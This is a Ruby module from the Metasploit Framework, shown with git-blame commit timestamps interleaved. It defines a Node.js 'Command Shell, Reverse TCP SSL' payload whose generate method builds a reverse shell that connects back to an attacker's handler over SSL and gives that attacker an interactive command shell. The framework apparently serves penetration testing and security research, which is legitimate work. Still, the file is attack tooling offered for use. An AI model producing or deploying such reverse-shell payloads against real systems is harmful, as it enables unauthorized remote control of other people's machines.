metasploit-framework/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb

48 lines
1.2 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/payload/nodejs'
require 'msf/core/handler/reverse_tcp_ssl'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
2016-03-08 13:02:44 +00:00
module MetasploitModule
CachedSize = 516
include Msf::Payload::Single
include Msf::Payload::NodeJS
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Command Shell, Reverse TCP SSL (via nodejs)',
'Description' => 'Creates an interactive shell via nodejs, uses SSL',
'Author' => ['RageLtMan', 'joev'],
'License' => BSD_LICENSE,
'Platform' => 'nodejs',
'Arch' => ARCH_NODEJS,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell,
2013-09-23 16:31:45 +00:00
'PayloadType' => 'nodejs',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
))
end
#
# Constructs the payload
#
def generate
super + command_string
end
#
# Returns the JS string to use for execution
#
def command_string
nodejs_reverse_tcp(:use_ssl => true)
end
end